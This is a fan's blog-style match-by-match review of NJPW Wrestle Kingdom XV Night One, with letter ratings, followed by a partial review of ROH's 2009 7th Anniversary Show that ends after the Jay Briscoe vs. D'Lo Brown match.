Wrestle Kingdom XV Night One
Date: January 4, 2021
Location: Tokyo Dome, Tokyo, Japan
Attendance: 12,689
Commentators: Kevin Kelly, Chris Charlton, Rocky Romero

It’s time for the biggest non-American show of the year and like last year it’s going to take place over the course of two nights. The main event is for the still unified IWGP Heavyweight and Intercontinental Titles, which have been together for a year now for some reason. This show almost always delivers and hopefully it does so again. Let’s get to it.

Note that I have barely followed any New Japan over the last year so I’m coming in virtually blind.

Pre-Show: New Japan Rambo

This is the 21 man Royal Rumble style match with pin/submission or over the top eliminations and a special twist this year: the final four advance to a four way for the Provisional King Of Pro Wrestling Trophy tomorrow night. Chase Owens is in at #1 (as he wanted) and Tomohiro Ishii is in at #2 with neither being able to hit an early finisher attempt. That means a standoff and with the one minute interval up, Minoru Suzuki is in at #3.

Owens needs a breather on the floor before coming back in to get beaten up by the monsters. Ishii and Suzuki forearm it out and it’s Yuji Nagata in at #4. Owens and Ishii pair off in the corner as Suzuki beats Nagata down at the same time. Toa Henare (a young monster) is in at #5 to miss a bunch of shots to Ishii. Henare manages to muscle Ishii up with a suplex and it’s Hirooki Goto in at #6.

Ishii sends Nagata and Suzuki to the apron and Henare gets rid of both of them (that’s a surprise). Goto elbows Owens down for two and it’s Yujiro Takahashi in at #7. Ishii dumps Henare as they’re keeping the eliminations moving (I wonder if that’s a Coronavirus thing). Yoshi-Hashi is in at #8 to help clean house with Goto (his partner) until Togi Makabe is in at #9. Makabe gets rid of Goto and Yoshi-Hashi in a hurry, meaning we’re down to Makabe, Owens, Ishii and Takahashi at the moment. Eliminations are teased Tomoaki Honma is in at #10.

Forearms and chops abound until Hiroyoshi Tenzan is in at #11. Honma and Tenzan get rid of Makabe (Honma’s regular partner) and Rocky Romero (who is supposed to be on commentary) is in at #12. Owens saves himself from elimination and it’s Douki in at #13. The pace picks up a bit with Romero hitting the forever clotheslines but Douki hits him with a pipe…..for a DQ elimination. Fair enough and makes sense here.

Sho is in at #14 and seems to be a female favorite, though he can’t get rid of Owens. Bushi is in at #15 as the ring is getting a little full. Takahashi is out to clear things up a bit and Bushi is sent through the ropes, meaning no elimination. Tiger Mask is in at #16 and gets kneed in the ribs by Romero. Bad Luck Fale is in at #17 and, with the help of Bullet Club stablemate Owens, gets rid of Ishii. Honma is out as well as Gabriel Kidd is in at #18.

There goes Tenzan as well but Owens saves Fale from the same thing. Yuya Uemura is in at #19 as Fale gets rid of Romero and Sho. Tiger Mask is out as well, leaving us with Fale, Owens, Kidd and Uemura at the moment. Yota Tsu is in at #20 as Bushi, still in apparently, pulls Owens underneath the bottom rope to beat him up on the floor.

Fale is having none of this getting dumped out by three people and it’s Toru Yano (the KOPW Champion) to complete the field at #21. That leaves us with Owens, Fale, Kidd, Uemura, Tsu, Bushi and Yano, the latter of whom takes so long to get in that it’s just Bushi, Fale and Owens waiting on him….meaning they’re the final four at 34:40. Yano never even got in the ring.

Rating: C. This wasn’t as crazy entertaining as some of the matches, but Yano’s gag at the end was funny. As usual, this was nothing more than a way to get people out there for the sake of getting them in there and it worked out just fine. It’s a nice way to get a feeling for the show and not do anything serious at the same time. Fun match, and that’s all it was supposed to be.

A ring announcer with a Don King wig introduces Riki Choshu, with his grandson, to get things going. They hype up the show and shout a lot.

We get the opening video, showing the card in order (still not sure if I like that or not but it works here).

A quick Brodie Lee intro serves as a nice dedication.

Hiromu Takahashi vs. El Phantasmo

This is the Best of the Super Juniors winner vs. the Best of the Super J Cup winner (twice in a row for Phantasmo) with the winner getting an IWGP Junior Heavyweight Title match tomorrow night. Phantasmo is not the nicest person in the world and throw down the jacket he received for winning the tournament. He even mocks Takahashi for trying to pick it up. What a jerk.

Phantasmo bails to the floor at the bell and throws Takahashi’s trophy down. The jacket is picked up but Takahashi dropkicks him down and hits a top rope backsplash to a standing Phantasmo. It’s way too early for the Time Bomb though and Phantasmo bails to the floor. Instead Phantasmo hits a running sunset bomb to plant Takahashi on the floor as they’re starting fast here. Takahashi is down so Phantasmo walks the ropes for a moonsault to drop him again.

Phantasmo comes up favoring his ankle (apparently a recurring injury) but he’s fine enough to mock the Rise of the Terminator. That’s enough of a delay for Takahashi to come back in with a dropkick to the back of the head but Phantasmo goes after Takahashi’s foot. There’s a rake to the back and Phantasmo lays him on the top rope for a top rope backsplash (that’s a new one). A very multiple springboard rope walk….something is broken up with a crotching to put Phantasmo down on top.

Phantasmo is back up but can’t hit the Styles Clash, allowing Takahashi to hit some kind of a powerslam for two. A superkick into a suplex faceplant gets two more on Phantasmo. Back up and Time Bomb 2 (starts in a reverse suplex whatever it is) is countered into a kneeling belly to back piledriver for two on Takahashi. Phantasmo’s top rope superplex is broken up but the referee gets bumped, allowing Phantasmo to hit a super hurricanrana.

The top rope splash gives Phantasmo two more, followed by the Styles Clash for the same. Phantasmo tries the One Winged Angel but gets reversed into a Death Valley Driver into the corner. Back up and Phantasmo tries what looks like a powerbomb (CR2) but gets reversed into a hurricanrana for the pin at 17:49.

Rating: B+. That’s the kind of way to open up a big time show like this as they had the time and got to build things up rather well. Takahashi is a consistent star and Phantasmo looks like one of the most dislikeable names in all of the promotion. The counters and big moves here, tied in with Phantasmo going through the history of the Bullet Club finishers, made for a good match and it pulled me into the show as it was supposed to do.

IWGP Tag Team Titles: Guerrillas of Destiny vs. Dangerous Tekkers

The Tekkers (Zack Sabre Jr./Taichi) are defending against the World Tag League winners (Tama Tonga/Tonga Loa, who I will get confused at least 17 times today. Jado is with them too for a bonus.). Tama is taken into the corner for a running elbow and it’s time to choke away a lot. Sabre’s cross armbreaker doesn’t last long so it’s a running boot in the corner to set up more choking from Taichi.

A Jado distraction lets the Guerrillas take over though and Tama unloads on Taichi with right hands. Loa gets two off a belly to back suplex and we hit the chinlock. Taichi fights up and hits a boot in the corner, allowing the tag back to Sabre. That means some running elbows in the corner, setting up the European Clutch for two on Tama. The Octopus goes on to send Tama to the rope but Loa is back in with a double clothesline to the champs. A jumping neckbreaker gets two on Sabre, whose sleeper is broken up in a hurry.

Tama powerbombs Sabre for two and Guerrilla Warfare (a reverse Magic Killer) drops Taichi. Sabre counters the superbomb into a guillotine choke on Tama while Taichi chokes Loa as well. Taichi lets go and then powerbombs Sabre to superplex Tama for a close two (that was cool, though maybe not the most brilliant move). A kick to the head gets two more on Tama but he’s right back up for a failed Magic Killer attempt.

An exchange of shots to the head puts everyone down and we get a breather. Taichi and Loa slug it out until Sabre is back up to kick Loa in the face. Tama is back up with the Gun Stun to Sabre but Taichi plants him for two more. Taichi removes his pants (Garza wannabe) but Jado gets in to slip Tama a glove. That means Taichi is knocked out and an over the shoulder sitout piledriver gives Loa the pin and the titles at 19:22.

Rating: B-. I wasn’t feeling this one as much and the interference didn’t help. The Guerrillas are still one of the best teams in the world but it was kind of a messy match. You have Sabre as the most heelish guy in the world and the Guerrillas cheating to win, so who was I supposed to boo here? It was a good match with both teams working hard, but not exactly must see stuff.

We get a video about death riding on a pale horse….and it’s IWGP United States Champion Jon Moxley, saying that he’s coming for whoever wins the next match because he’s the Boogeyman of New Japan.

Kenta vs. Satoshi Kojima

Kenta’s IWGP United States Title shot is on the line and Kojima, with Hiroyoshi Tenzan, is replacing an injured Juice Robinson. Kenta hits the stall button to start by hiding in the ropes and then going to the floor. Back in and Kojima grabs the headlock to grind him down before knocking Kenta outside again. This time Kenta goes after Tenzan so Kojima follows, only to get caught in a DDT on the floor.

They head inside again with Kenta’s regular DDT getting two and a kick to the back rocking Kojima. We hit the figure four necklock so Kojima goes with the simple escape by putting a foot on the rope. The cocky kicks just annoy Kojima but a big kick to the chest puts him down. Back up and some chops have Kenta in trouble, including the machine gun chops in the corner. A superplex brings Kojima down though and the top rope clothesline gets two.

They fight to the apron with Kojima hitting a DDT but Kenta is back with his own DDT for the double knockdown. It’s Kenta up first with a top rope double stomp for two but Kojima blocks the GTS. Kojima’s lariat is countered into a powerslam so Kenta goes outside for the briefcase (#1 contendership). That’s knocked away with the lariat and another lariat gives Kojima two. Kenta hits his running knee but Kojima slugs away with forearms of his own. That just earns Kojima another running knee for two and it’s the Go To Sleep to retain the title at 14:09.

Rating: B-. Like the previous match, they hit each other rather hard for a good while but there was no drama to this one. I didn’t but Kojima as a threat to win the title shot as it seems that Kenta vs. Moxley is already locked into stone. It wasn’t bad by any means, but it was just a match that came and went with Kenta surviving Kojima without much effort.

We get a video of IWGP World Champion Tetsuya Naito talking to a man in a suit in a restaurant. Naito says something about Los Ingobernables and the man seems to be trying to calm him down. Apparently this is an ad for a video game. Cool enough.

We pause for a bit for some cleaning of the ringside for Coronavirus’ sake. That means an intermission, with commentary previewing the rest of the show.

We get some ads as well, meaning it’s a nice breather in a long show.

Hiroshi Tanahashi vs. Great-O-Khan

Khan is formerly known as Tomoyuki Oka, who recently returned from excursion to Rev Pro in the United Kingdom. Now he’s part of the Empire with Bea Priestley and Will Ospreay and attacked Tanahashi to set this up. Feeling out process to start with neither being able to get anywhere until Tanahashi takes him to the mat. A headlock has Khan in trouble but he’s back up with a chop to the chest.

Tanahashi tries to skin the cat but gets his hands chopped down to put him on the floor. A slam drops Tanahashi on the ramp and he has to dive back in to beat the count. Back in and Khan grabs a kneebar but Tanahashi is able to grab a dragon screw legwhip. Some forearms have Khan down and a middle rope Swanton gets two. Khan is fine enough to reverse a Sling Blade attempt into a belly to back faceplant and it’s time to slug it out. A Downward Spiral gives Khan two and he bends Tanahashi’s knee around his neck.

That’s broken up with a rope break so Khan sends him over the top, but this time skinning the cat works. Twist and Shout into the Sling Blade gets two on Khan and Tanahashi blocks his claw slam (the Eliminator). A belly to back flipping suplex gets two on Tanahashi and a reverse suplex puts him down again. Khan brings in a chair but Tanahashi hits another Twist and Shout. The chair is thrown away and a dragon suplex gets two. Back to back High Fly Flow’s finish Khan at 17:26.

Rating: C-. What was that??? Khan feels like he stepped into a time machine on his way to being a Hogan knockoff Monster of the Month in 1986 and wound up in an entirely wrong time. Tanahashi was doing his thing as well as he could but Khan was in the old pound away and squeeze on the hero mold and that was boring almost thirty years ago. Khan felt so completely out of place here and I get the bad reports I’ve seen of him. Maybe he can do something outside of this gimmick, but this was REALLY bad for a Wrestle Kingdom match.

We recap Will Ospreay vs. Kazuchika Okada. Ospreay is the leader of the Empire and attacked Okada to get attention on the team. Now it’s time for revenge. Ospreay saying he is going to stop the rain so the sun can shine on the Empire is a great line.

Kazuchika Okada vs. Will Ospreay

Ospreay’s British Heavyweight Title isn’t on the line. Bea Priestley is here with Ospreay, who gets the big entrance video, featuring him breaking televisions with a bat. They stare at each other for a good while to start before locking up to a standoff. The rapid exchange of forearms is on until Okada scores with a running elbow to the face. Ospreay gets knocked to the floor to start the chop off, with Okada getting the better of things. The big running flip dive takes Ospreay down again but it feels like they have a lot of time here.

Priestley offers a distraction though and Ospreay gets in a cheap shot from behind. The floor mats are pulled back but Ospreay can’t hit a piledriver. He can hit a neckbreaker onto the pads but the referee won’t count it because of the illegalness. That’s a new/cool one. A backbreaker connects and we hit a chinlock with a knee in Okada’s back but he isn’t sitting in that for very long. One heck of a backdrop sets up the White Noise onto the knee for two but it’s too early for the Money Clip (cobra clutch) as Ospreay drives him into the corner.

A German suplex gives Ospreay two but Stormbreaker is broken up as well. Heavy Rain puts Ospreay down again and we get a bit of a breather. Ospreay gets a boot up in the corner but gets dropkicked out to the floor for a big crash. A big whip into the barricade doesn’t do much to Ospreay, who is back with a boot to the face. The Oscutter on the floor is broken up though and they’re both down on the outside. Back in and Okada hits a missile dropkick but Ospreay grabs a reverse Bloody Sunday for two more.

Ospreay superkicks him in the back of the head so Okada hits a dropkick to the back of the head. Okada’s dropkick is countered into a sitout powerbomb (nice) for another near fall and they have to pull themselves up. Another collision puts them on the floor again but this time Ospreay suplexes him onto (not through) the announcers’ table. Ospreay doesn’t want the countout though and throws Okada back in for two off a powerbomb.

Stormbreaker and the Oscutter on the apron are blocked so Okada hits a Tombstone on the apron instead. They both beat the count so Okada hits a Rainmaker into the dropkick into the Money Clip. With that broken up, Okada hits the Tombstone but has to send Ospreay into Priestley onto the apron. The Money Clip goes on again but a foot on the rope is good enough for the break. Ospreay catches him on top with a running big boot and there’s the super Spanish Fly for two (applause).

The Oscutter drops Okada for a slightly delayed two so it’s time to stomp Okada in the head. Ospreay even shoves the referee down but this is too big of a match for a DQ. A discus elbow is countered with a dropkick and the Money Clip goes on again. That’s broken up so Ospreay hits his own Tombstone into the Rainmaker for two. Okada is ticked so it’s a sitout Tombstone into the Rainmaker for the pin at 35:29.

Rating: A. These are two of the best in-ring performers in the world and they got over half an hour on one of the biggest shows of the year. Like this could be anything else. There was a story here of Ospreay trying to step up and mess with the biggest dog but he took it one step too far by stealing the Rainmaker and Okada had to teach him a lesson. Okada really is one of the smoothest wrestlers I’ve ever seen and as great as high flying Ospreay is, the heel version has a different edge to him and it’s awesome. This was great and worth seeing for the last few minutes alone.

We recap the main event. Tetsuya Naito became a double (IWGP Heavyweight and IWGP Intercontinental) Champion last year at Wrestle Kingdom, then lost the belts and won them back. Kota Ibushi won the G1 but lost the rights to challenge for the title to Jay White. However, White wanted to challenge on Night Two so Ibushi gets to challenge here instead. I’m sure there’s more to it than that but the language barrier strikes again.

IWGP Heavyweight Title/IWGP Intercontinental Title: Kota Ibushi vs. Tetsuya Naito

Naito is defending both titles and absolutely he has the white suit. Feeling out process to start and they go to the mat, as you might have expected. Naito goes for a choke but gets reversed into a hammerlock. That doesn’t go anywhere either and the grappling continues until it’s a standoff, with Naito landing in the tranquillo pose. Back up and they run the ropes with Kota snapping off a hurricanrana to the floor.

Kota joins him and gets German suplexed onto the ramp to put them both down for a bit. Naito stomps away back inside and it’s off to a headscissors on the mat. A cravate stays on the neck but the tornado DDT is broken up, allowing Kota to snap off a dropkick. Kota hits a running kick to the face into a standing moonsault for two and they need a quick breather. It’s Naito up first with an elbow to the face and a running dropkick, only to have Kota send him to the floor.

Naito grabs a swinging neckbreaker outside though and they’re both down again. Back in and something like a full nelson with the legs stays on Kota’s neck until he gets a foot on the rope. Naito tries to slide between his legs and gets double stomped in the ribs to put them both down again at the fifteen minute time call. The middle rope moonsault missed for Kota and he gets pulled into a reverse Koji Clutch (the consistent neck work has been really good so far, if nothing else because Naito isn’t doing the same thing over and over).

The rope gets Kota out of trouble again so Naito elbows him in the neck to put him back down. They go to the apron again with Naito backdropping his way out of a powerbomb attempt. That’s fine with Kota, who snaps off a good looking hurricanrana to the floor. Naito has to dive back in to beat the count (with commentary begging him to make it because they want to see more rather than insulting each other and making it about themselves) and catches Kota on top for a super poisonrana.

Destino is broken up though and Kota kicks him in the head. Another Destino attempt is countered into a kneeling Tombstone but Kota can’t cover. They’re both down so the fans applaud, even as the two of them slug it out from their knees to their feet, with Kota nailing a running elbow. The big knee to the face gets two on Naito and Kota can’t believe it was a near fall.

The Phoenix splash misses and Destino (not a great one) connects for two on Kota, sending Kelly into a rather awesome call about what this all means. Kota hits another kick to the head into another knee to the face for a very near fall, meaning it’s time to take the kneepad down. Naito isn’t having that and hits an enziguri, looking to set up Destino. That’s countered as well and it’s a jumping knee into the face, setting up another knee to the face to finish Naito for the pin and both titles at 31:22.

Rating: A. Yeah this was great too with Naito working on the neck throughout but surviving because he wouldn’t give up no matter what. This one was more built around who was going to be the last man standing and it worked perfectly, with Kota looking like he survived rather than won. Naito didn’t quite have the heart to hold onto the titles and Kota looks like the better man. It says a lot when the match ran over half an hour at the end of a 5+ hour show and I wanted it to go longer, so well done.

Post match Kota doesn’t even realize he won until the referee spells it out for him. Naito gets up and hands him the titles in the respect moment. With Naito gone, here’s Jay White to say that Kota isn’t the real champion, because tomorrow White is winning both titles to fulfill his own destino. White leaves and Kota says that that he’ll prove everything tomorrow. You know what he’s going to say here and he thanks the fans to wrap things up.

Commentary talks about how we need some good things going on and in the end, good will triumph over evil. They spend about ten minutes wrapping up the evening.

Overall Rating: A-. The show does run a little long and the Khan/Tanahashi match brings things down a lot, but that’s as good of a one two punch of a main event as I’ve seen in a long time. NJPW still has some quite probably the best wrestling going today and while the two nights thing is a lot, it’s not a lot every few weeks so it’s acceptable. Great show overall here, and the second night has a lot to top.

 

 

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7^th Anniversary Show
Date: March 21, 2009
Location: Hammerstein Ballroom, New York City, New York
Commentators: Lenny Leonard, Dave Prazak

This is another in my long selection of DVDs and this is one that shouldn’t need much more of an explanation. I know a good bit more about ROH than PWG so this is nice for a change, though this is an era that I haven’t seen much of over the years. Your two big matches are Nigel McGuinness defending the World Title against Kenta and Kevin Steen/El Generico defending the Tag Team Titles against the American Wolves (Davey Richards/Eddie Edwards). Works for me so let’s get to it.

Bobby Dempsey knows that Larry Sweeney is getting to pick his next two opponents with the first one coming tonight. It doesn’t matter who is in front of him because he’s running through them and then coming for Sweeney.

Kenta warmed up in the empty arena earlier today.

I guess that’s our show intro as there is nothing else before we head into the matches.

Kenny King/Rhett Titus vs. Erick Stevens/Roderick Strong

Titus is Addicted To Love, basically making him a male stripper. The fans however remind him that he is a virgin and Titus isn’t pleased. Strong and King start things off with a fight over the wrist control, as you do in wrestling most of the time. King gets in a headscissors on the mat but Strong is back up with the armdrags into the armbar. Stevens comes in and the fans don’t seem overly pleased, but they are right there with the WOOing for the chops.

King brings Titus in, with Stevens running him over with the shoulder. Titus gets taken into the corner for the alternating chops and is then sent to the apron, where King gets in a knee to Stevens for a breather. A suplex into some forearms to the head gives King one and it’s back to Titus, who is perfectly fine thanks to the magic of wrestling. Titus’ dropkick gets one and it’s an atomic drop into a running clothesline from King to rock Stevens again. The chinlock….mostly goes on as Stevens is up to his feet before King really gets things set. Why waste time with something that isn’t going to work anyway?

Titus comes in for a hip swiveling suplex but Stevens hits him in the ribs. A powerslam to King and a kick to Titus still isn’t enough for the hot tag so Stevens ducks a right hand and brings Strong back in. Everything breaks down and Strong’s backbreaker (pick one) gets two on Titus. Something like a Fameasser gives Titus the same on Strong but a Razor’s Edge doesn’t work.

Instead it’s back to Stevens, with King knocking Strong off the apron instead of making another save. Some running knees to the back send Stevens into the buckle as everything breaks down again. Stevens throws Titus into the air for a hard clothesline but Titus is up to save King from a superplex. The yet to be named Sick Kick saves Stevens from a powerbomb/Blockbuster and Stevens hits the Doctor Bomb to finish Titus at 8:53.

Rating: C-. The match was energetic while it lasted but there were some times where you could tell they weren’t sure what to do. This is before Strong and King would become established names so it was about as good as you were going to get here. For an opener to a major show though, it worked out well enough.

There is no pay per view intro and we jump straight to the

Claudio Castagnoli vs. Brent Albright

Claudio is better known as Cesaro and these two have been feuding for awhile without either of them getting a decisive win. Castagnoli jumps Albright before the bell and hits a running knee, only to get forearmed down into the corner. Neither can hit a hiptoss so Albright flips over him and hits a dropkick out to the floor, setting up the required dive. Back in and Albright hits a delayed vertical suplex on the much bigger Castagnoli. Albright charges into some boots in the corner and misses a charge, sending him crashing into the ropes.

The uppercut against the ropes lets Cesaro choke on the ropes, meaning he can shout about the horribleness that is the USA. We hit the neck crank on Albright for a bit, followed by a hard clothesline to drop him again. Albright fights out of another neck crank and throws Castagnoli with a suplex, only to walk into a leg lariat. The third neck crank goes on but another clothesline is countered with a Rock Bottom. Commentary completely ignores this to talk about the World Title match some more, giving me some rather annoying Nitro flashbacks.

They head outside with Castagnoli walking into an exploder to put them both down again. Back in and Albright snaps off a headscissors into the Crowbar (Fujiwara armbar), sending Castagnoli to the ropes again. Speaking of the ropes, Castagnoli drops him throat first across said ropes to take over. Castagnoli goes up so Albright superplexes him back down and we have one minute left. They slug it out and that’s the time limit at 14:58 (close enough).

Rating: B-. This took some time to get going and Albright caught up after Castagnoli dominated a good portion of the first half. After that it was back and forth stuff and the time limit wasn’t mentioned until near the end, meaning it was more than waiting on the time to expire. Good stuff here and you can see where people saw the star power in Castagnoli on his own.

Post match they have to be separated until Castagnoli says Americans are cowards. He wants five more minutes and Albright says it’s on.

Claudio Castagnoli vs. Brent Albright

The Crowbar goes on again but Castagnoli reverses into one of his own. The fans get behind Albright as he rolls out but Castagnoli kicks him low for the DQ at 1:00 of overtime.

Post match Castagnoli hits the Riccola Bomb (double arm trap sitout powerbomb) and grabs a chair. After beating up security, Castagnoli stomps the chair onto Albright’s head, more or less guaranteeing another rematch.

Mike Quackenbush found out that Bryan Danielson is a great wrestler but he’s ready to face Jerry Lynn. Jerry is on his way to the World Title shot against Nigel McGuinness, but tonight, Quackenbush’s hand is being raised.

We look at Larry Sweeney slapping and spitting at Bobby Dempsey (seemingly his lackey), earning himself a beating inside a cage in what felt like a big face turn.

Bobby Dempsey vs. Adam Pearce

A local news anchor named George Oliphant is guest timekeeper. Pearce has Shane Hagadorn and Sara Del Ray with him and is one of Sweeney’s guys. Before the match, Pearce makes the anchor introduce himself and insults his bowtie. Pearce brings up John Stossel and shoves George into the corner but here’s Dempsey to cut things off as we’re ready to go. The handshake results in a cheap shot from Pearce….but Dempsey grabs a Death Valley Driver for the pin at 28 seconds. Well that was a surprise.

Post match Dempsey does the Hulk Hogan shirt tear. The fans seem to like Dempsey as he poses with Oliphant.

Mike Quackenbush vs. Jerry Lynn

Lynn drives him into the corner to start and we get a clean break. The waistlock goes on but Quackenbush slips out without much trouble. They go into the expected battle of wrist control with Quackenbush cranking on the arm. A hiptoss gets Lynn out of trouble and we go to the standoff. Lynn headscissors him into the corner but can’t get a bulldog as Quackenbush takes him down into a double leglock. That’s reversed as well and Lynn works on the arm until Mike (I’m done with typing that long name) springboards into a hurricanrana for the escape and takes it to the mat.

Lynn reverses again and this time it’s an armbar on Mike. Back up and Mike is sent outside, meaning it’s a springboard dropkick to put him down. They switch places and Lynn hits the slingshot legdrop over the middle rope (or “legdrop thing” as commentary calls it) but Mike sweeps the leg to put him down on the apron. Mike tries a hurricanrana on the floor but gets caught and swung HARD into the barricade to put him down again. Back in and Lynn hits a tornado DDT and German suplex for two.

The cradle piledriver doesn’t work though and Mike grabs a crucifix for two of his own. They trade reversals until Lynn sends him into the corner for a collision of heads. Mike goes up but has to roll through a slam back down. Lynn goes up as well and hits a sunset bomb to bang Mike’s head again for two more. The cradle piledriver is blocked again and it’s a belly to back piledriver to plant Lynn. Not that it matters as Lynn is right back with the cradle piledriver for the pin at 9:36.

Rating: B-. This was the technical style match that you expect to see from Ring of Honor and it isn’t surprising given who was in there. Lynn and Quackenbush are both known technicians and the story they were telling here made it clear that Lynn was on his way to the World Title picture. It might not be the most interesting story, but they had an idea and stuck with it so points for following through.

Post match Mike takes some time to get up but they shake hands.

We recap the Necro Butcher leaving the Age of the Fall and being replaced by Delirious. From what I can tell, Austin Aries is now an associate of the team but hasn’t officially joined. He’ll be in a six man tag though, facing off against three former members of the team. I think. The story was kind of all over the place and they didn’t exactly make the story clear here.

Age of the Fall/Austin Aries vs. Delirious/Necro Butcher/Tyler Black

This is Ultimate Endurance (elimination rules and No DQ) under Revolution Rules (each fall has to be by a different method than the previous. For example you can’t have two pins in a row, but you can have pin, submission, pin). The Age of the Fall is Brodie Lee (looking YOUNG here)/Jimmy Jacobs and Black is better known as Seth Rollins. The non-Age of the Fall has Daizee Haze with them just in case there weren’t enough people around. Delirious charges into an elbow from Lee to start but it’s quickly off to (the barefoot) Butcher for the slugout.

Everything breaks down in a hurry and Delirious pulls Jacobs in for some revenge. The triple teaming is on and Butcher dives to the floor to take everyone down again. Everyone fights to the floor as commentary explains the rules for the first time. Delirious steals something from a fan to rub in Jacobs’ face and Lee blasts Butcher in the face with a big boot. Everyone gets back in with Aries and the Age being whipped into each other, followed by Delirious hitting a Cactus Clothesline to Lee.

Black busts out the big flip dive onto the pile, who happened to be standing there for his big flip dive. Butcher adds his own flip dive off the top but comes up holding his ankle. Haze, wearing Delirious’ jacket, goes up but Aries pulls her down. That brings in Delirious for the save with a cobra clutch, which Aries breaks up in a hurry.

Aries misses a running corner dropkick but here’s Lee to make the save, earning himself a hurricanrana out of the corner. Delirious hits some running knees in the corners to Lee and Aries until Lee is back up to save Jacobs from the cobra stretch. The swinging Boss Man Slam (always looks good) plants Delirious and Aries’ brainbuster finishes him off at 7:05. Since that was a pin, the next fall has to be submission, countout or knockout.

Lee kicks Black in the face to put him outside, followed by a slow motion Boss Man Slam to send Butcher into the ramp. Back in and Jacobs and Aries get in a bit of a fight over who gets to beat up Black. Since Black is smart enough to take advantage of it, he beats on both of them until Lee makes the save. Butcher comes back in to sent Aries and Jacobs outside before slugging away at Lee in the corner. The fight takes them to the floor as well as commentary can’t understand why Butcher doesn’t wear shoes.

Butcher and Lee go into the crowd (With ROH being smart enough TO GO SPLIT SCREEN!!! WHY IS THIS SO FREAKING HARD FOR EVERY OTHER COMPANY????) with Butcher getting in a good right hand to the face. Aries and Jacobs double team Black but stop to wonder where the other two are. The referee wants to know too but since they’re that far gone, both Butcher and Lee are eliminated at 11:41.

So pinfalls are allowed again as Black is double teamed some more. Aries stops to tell a fan that they’re ugly and Jacobs pulls out some of Black’s hair. That’s enough as Aries and Jacobs get in a fight over who gets to beat up Black but are smart enough to let it go and beat on Black again. Black is sat in a chair at ringside but they get in a fight over who gets to go for the suicide dive. This time they actually slug it out, allowing Black to springboard in with a double clothesline.

The Phoenix splash hits Aries but Jacobs catches Black on top. Aries holds Black in the Tree of Woe for a running hip attack and a slingshot dropkick gets two. The Contra Code (sitout Sliced Bread) is broken up though and Aries’ running dropkick hits Jacobs by mistake. Aries is back up with a shinbreaker to Black and throws him on his head with a release belly to back suplex.

Thankfully Black can still move and blocks the brainbuster with some knees to the head. Black nails the buckle bomb and the low superkick sets up the End Time (Jacobs’ guillotine choke) to get rid of Aries at 17:55. So we’re down to Jacobs vs. Black and it cannot end with submission. Jacobs brings in a chair but Black takes him down to start the brawl. A heck of a chair shot to the back puts Black down again so Jacobs pulls out his trusty railroad spike.

Black kicks it away but Jacobs nails a low blow, setting up the Contra Code for two. The End Time goes on again and Jacobs is dumb enough to let go even though there is no submission. Black powers up though and hits God’s Last Gift (fisherman’s buster into a small package) for the pin at 20:53.

Rating: B. Yeah this was good and the best thing on the show so far. The Age of the Fall was pretty much done at this point and would be done for good in June. Black is clearly the breakout star though and is moving up the ranks in a hurry. Good match here with a nice mixture of wrestling and brawling, so well done on the whole thing. Jacobs is someone who has grown on me as I’ve seen more of his work, though he still seems more like the guy who always comes up short more than anything else.

Nigel McGuinness is warming up for the main event.

Ring of Honor is coming to Nashville. By that we mean the show has taken place and we have clips, one of which seems to include Kenny Omega.

Jay Briscoe has been here since day one and he is ready to face D’Lo Brown, who he grew up watching. No disrespect to Brown, but he is going to have to man up.

Bison Smith/Jimmy Rave vs. Bryan Danielson/Grizzly Redwood

Smith and Rave are part of the Embassy with Prince Nana and Ernie Osiris. Before the bell, Nana says we need to think Barack Obama for his economic stimulus package because that money has allowed him to rebuild the Embassy. That includes the Crown Jewel of the Embassy, which sets up a huge entrance for Rave (making a big return). Bryan charges to the ring but gets caught by Smith in a spinning backbreaker. Redwood, the rather small lumberjack, fails to make the save but we have a surprise run-in return to take his place.

Bison Smith/Jimmy Rave vs. Bryan Danielson/Colt Cabana

The fans are VERY happy to see Cabana and he starts with Rave, who is pelted with toilet paper instead of streamers. Feeling out process to start with Rave seeming a bit tentative so Cabana shoulders him out to the floor. Some shoulders to the chest give Cabana two back inside as commentary goes over Cabana’s ROH history. Danielson comes in for the surfboard, sending Rave’s head into the ropes for the save. Some kicks in the corner connect as we hear about Bryan’s history against Smith.

Everything breaks down for a bit and it’s an STO to Cabana on the apron as Smith gorilla presses Danielson into the corner. Rave stomps Danielson down for two and we hit the chinlock. It’s back to Smith for the hard shoulder and he cranks on the neck as well. Bryan finally gets in a kick to the face and dives over for the hot tag to Cabana, though the fans don’t respond that loudly. The Flying Apple connects but Smith’s running shoulder (Prazak: “That’s the Flying Bison.”) cuts him down.

Everything breaks down again and Danielson sends Smith outside. The slingshot dive is pulled out of the air and Smith comes back in with a claw slam onto Rave’s knee to Cabana. A running knee gets two and Smith claws Cabana until Bryan breaks it up with a knee. Cabana and Bryan baseball slide Smith over the barricade, setting up a heck of a dive from Bryan. That leaves Cabana to elbow Rave in the head but Rave pulls him into the heel hook. Cabana slips out in a hurry and grabs the Superman Cover for the pin at 10:35.

Rating: C+. This worked for a double surprise, though having both teams include a special appearance kind of left them in a tough place. That being said, Smith seemed like a monster and you don’t want him losing either, meaning that Cabana going over Rave was the only way out of it. Granted any match from 2009 with Danielson is going to be entertaining and the fans loved Cabana so it was a pretty strong reaction to everything.

Post match Cabana says he loved hearing Copacabana when he came out here, but there is only one song he wants to hear right now and it belongs to Danielson. The Final Countdown begins and the fans seem rather appreciative, including singing the lyrics as Bryan and Cabana pose (which is always cool).

Jay Briscoe vs. D’Lo Brown

Mark Briscoe is here with Jay and it’s still weird to see Brown as kind of a legend. And without his head shaking everywhere. Before the match, Brown talks about being future endeavored from WWE after a very uneventful comeback and a complete waste of time. So what does he think of those guys up north? Thank you. He thanks them for wishing him good luck because his future endeavors are now here in Ring of Honor. Feeling out process to start with Briscoe taking over off a test of strength.

Brown drives him into the corner but gets shouldered out to the floor in a hurry. Back in and Brown’s running knee is blocked so they slap hands and reset. An exchange of legsweeps get one each and Brown isn’t sure what to do with Briscoe. A dropkick puts Brown down but he has the referee step aside and gets in a cheap low blow. Brown stands around for a good bit before hitting Jay in the head. Jay is fine with a slugout but Brown drops him with a big shot to the jaw.

They chop it out for a change and this time Brown goes to the eyes to cut him off. The cobra clutch keeps Jay in trouble before Brown goes with three straight standing clotheslines for two. Jay is sat on the apron for some forearms, plus a springboard dropkick to the floor. Brown goes back to the apron but gets dropkicked out of the air, leaving both of them rather staggered.

Back in and Brown gets Downward Spiraled into the top turnbuckle, followed by a hard clothesline for two. The Jay Driller is blocked though and Brown grabs a good Sky High for two. Jay is right back with a Death Valley Driver for his own two so it’s up top for a missed guillotine legdrop. Brown is right there with a rollup (including tights) for the pin at 12:38.

